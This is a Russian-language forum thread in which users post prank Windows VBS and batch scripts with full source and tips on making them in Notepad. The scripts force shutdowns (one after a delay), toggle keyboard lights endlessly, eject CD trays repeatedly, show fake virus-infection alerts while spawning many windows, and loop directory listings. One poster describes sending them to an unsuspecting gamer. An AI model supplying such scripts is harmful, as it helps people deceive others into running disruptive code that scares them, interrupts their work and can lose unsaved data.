Приколы...

В общем решил распотрошить файлы завалявшиеся и посмотреть на ваши лица испуганные))
Вреда они не несут,но все же я не несу ответственности за ваши деяния
Вот прикол номер один))
Уровень опастности: Не особо опасен
Файл ))))).vbs
Содержание:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Отчет начался)) :) "

Запустите и вы обрадуетесь)))))
Прикол номер 2.
Уровень опастности: Низкий
Содержание файла caps.vbs

MsgBox "Смотри на свои индикаторы на клавиатуре xD" 
Set S = CreateObject("Wscript.Shell")
do
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 200
s.sendkeys"{numlock}"
wscript.sleep 200
s.sendkeys"{scrolllock}"
loop 

Ёлочка Ыы
Прикол 3й.
Уровень безопасности как и у прежнего.
Файл disk.vbs

MsgBox " xD" 
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count  Then
For i = 0 To mechaniky.Count - 1 
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

Next
End If

Гг

Файл privet.vbs
Не опасен

CreateObject("SAPI.SpVoice").Speak"privet, I am in english"

gg
Никто таким же "программированием" не увлекается?

как воще создавать такой файл? гг))

3: jozze, блокнотом)) пишешь содержание -> Сохранить как... -> Все форматы ...

jozze (2 Мая 2011 / 20:19)
как воще создавать такой файл? гг))

при помощи блокнота, потом формат меняй

Файл vir.vbs
Испугацо можно,если не знать что там))

on error resume next
set t=createobject("Wscript.Shell")
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"

мне как-то принесли вирус, который на флопике, моторчиком мелодию отыгрывал, вот это прикол, + на асме писан, а это так, баловство...

7: Borland.Delphi, Вот прикол:

WScript.Sleep 60000

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "*** Винде :) "

 

Я его сам боюсь запускать,если запустите,будет много мата!очень много... до переустановки...
файл 1.bat
Для пугания нубиков...

@Echo off
title virus
color 04
:x
dir/s
goto x;

Я одному геймеру скинул их,так терь он шарахается файлов .vbs )))

Что то мышка залагала))

И за чем из гугла всякую чушь байанскую сюды постить?